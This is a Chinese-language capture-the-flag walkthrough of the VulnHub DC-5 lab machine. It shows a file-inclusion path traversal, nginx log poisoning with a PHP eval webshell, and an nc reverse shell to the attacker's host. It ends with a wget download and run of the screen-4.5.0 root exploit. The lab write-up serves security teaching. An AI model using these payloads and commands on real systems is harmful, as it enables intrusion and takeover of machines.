DC系列靶机-DC5
一，环境的搭建
VM17 官网下载
kali 2023.4版 https://mirrors.tuna.tsinghua.edu.cn/kali-images/kali-2023.4/
靶场文件 https://download.vulnhub.com/dc/DC-5.zip
二，步骤
首先进行主机发现；
根据MAC地址，靶机 IP为：192.168.20.147
接下来端口扫描；
发现80端口是打开的，可以尝试访问一下；
一个普通的页面；
尝试进行一个目录扫描；
存在这样一个页面；
尝试访问；
在contact.php的页面，提交之后，最底下的这个会变化；
想到之前的那个footer.php页面，想到这个thankyou.php页面可能调用了footer.php这个页面；
http://192.168.20.147/thankyou.php?file=footer.php这里可能存在文件包含漏洞；
尝试包含访问一下/etc/passwd
http://192.168.20.147/thankyou.php?file=../../../../etc/passwd
果然访问到了passwd文件；
尝试利用这个漏洞------>文件包含；
访问nignx的错误日志；
file=../../../../var/log/nginx/error.log
日志内容：
2024/10/17 01:13:37 [error] 560#0: *54419 FastCGI sent in stderr: "PHP message: PHP Notice: Undefined index: file in /var/www/html/thankyou.php on line 41" while reading response header from upstream, client: 192.168.20.1, server: _, request: "GET /thankyou%2ephp HTTP/1.1", upstream: "fastcgi://unix:/var/run/php5-fpm.sock:", host: "192.168.20.147"
2024/10/17 01:15:57 [error] 559#0: *57807 FastCGI sent in stderr: "PHP message: PHP Notice: Undefined index: file in /var/www/html/thankyou.php on line 41" while reading response header from upstream, client: 192.168.20.1, server: _, request: "GET /thankyou.php?firstname=1&lastname=&country=australia&subject= HTTP/1.1", upstream: "fastcgi://unix:/var/run/php5-fpm.sock:", host: "192.168.20.147", referrer: "http://192.168.20.147/contact.php"
2024/10/17 01:16:06 [error] 559#0: *57807 FastCGI sent in stderr: "PHP message: PHP Notice: Undefined index: file in /var/www/html/thankyou.php on line 41" while reading response header from upstream, client: 192.168.20.1, server: _, request: "GET /thankyou.php?firstname=2&lastname=&country=australia&subject= HTTP/1.1", upstream: "fastcgi://unix:/var/run/php5-fpm.sock:", host: "192.168.20.147", referrer: "http://192.168.20.147/contact.php"
2024/10/17 01:16:34 [error] 559#0: *57807 FastCGI sent in stderr: "PHP message: PHP Notice: Undefined index: file in /var/www/html/thankyou.php on line 41" while reading response header from upstream, client: 192.168.20.1, server: _, request: "GET /thankyou.php?firstname=1&lastname=&country=australia&subject= HTTP/1.1", upstream: "fastcgi://unix:/var/run/php5-fpm.sock:", host: "192.168.20.147", referrer: "http://192.168.20.147/contact.php"
2024/10/17 01:17:53 [error] 559#0: *57817 FastCGI sent in stderr: "PHP message: PHP Notice: Undefined index: file in /var/www/html/thankyou.php on line 41" while reading response header from upstream, client: 192.168.20.1, server: _, request: "GET /thankyou.php?firstname=1&lastname=&country=australia&subject= HTTP/1.1", upstream: "fastcgi://unix:/var/run/php5-fpm.sock:", host: "192.168.20.147", referrer: "http://192.168.20.147/contact.php"
2024/10/17 01:32:16 [error] 559#0: *57832 FastCGI sent in stderr: "PHP message: PHP Warning: include(file=../../../../var/log/nginx/error.log): failed to open stream: No such file or directory in /var/www/html/thankyou.php on line 44
PHP message: PHP Warning: include(): Failed opening 'file=../../../../var/log/nginx/error.log' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/html/thankyou.php on line 44" while reading response header from upstream, client: 192.168.20.1, server: _, request: "GET /thankyou.php?file=file=../../../../var/log/nginx/error.log HTTP/1.1", upstream: "fastcgi://unix:/var/run/php5-fpm.sock:", host: "192.168.20.147", referrer: "http://192.168.20.147/contact.php"接下来尝试上传webshell；
http://192.168.20.147/thankyou.php?file=<?php @eval($_POST["cmd"]); ?>
尝试使用蚁剑连接；
蚁剑连接成功；
连接地址:http://192.168.20.147/thankyou.php?file=../../../../var/log/nginx/error.log
连接密码:cmd
使用kali进行监听；
nc -lnvp 4444反弹shell，进行连接；
nc -nv 192.168.20.151 4444 -c /bin/bash完善交互式界面；
python -c "import pty;pty.spawn('/bin/bash')"
接下来进行提权；
尝试使用suid提权；
find / -perm -4000 2>/dev/null
使用searchsploit（kali自带）搜索screen-4.5.0的历史漏洞；
searchsploit screen 4.5.0
searchsploit -m 41154
cp 41154.sh run.sh
dos2unix run.sh
使用python搭建一个简易的web服务器；
python -m http.server 5555然后开始下载文件；
wget -c 192.168.20.151:5555/run.sh
脚本文件下载成功；
chmod 777 run.sh
./run.sh
成功拿到root权限，并且在/root目录下拿到了flag；
三，结论
文件包含漏洞的利用；
nc命令的详解；
提权首先查找是否存在可以利用的历史漏洞；
使用python搭建简易的web服务器来上传脚本；
Nginx默认日志文件的路径；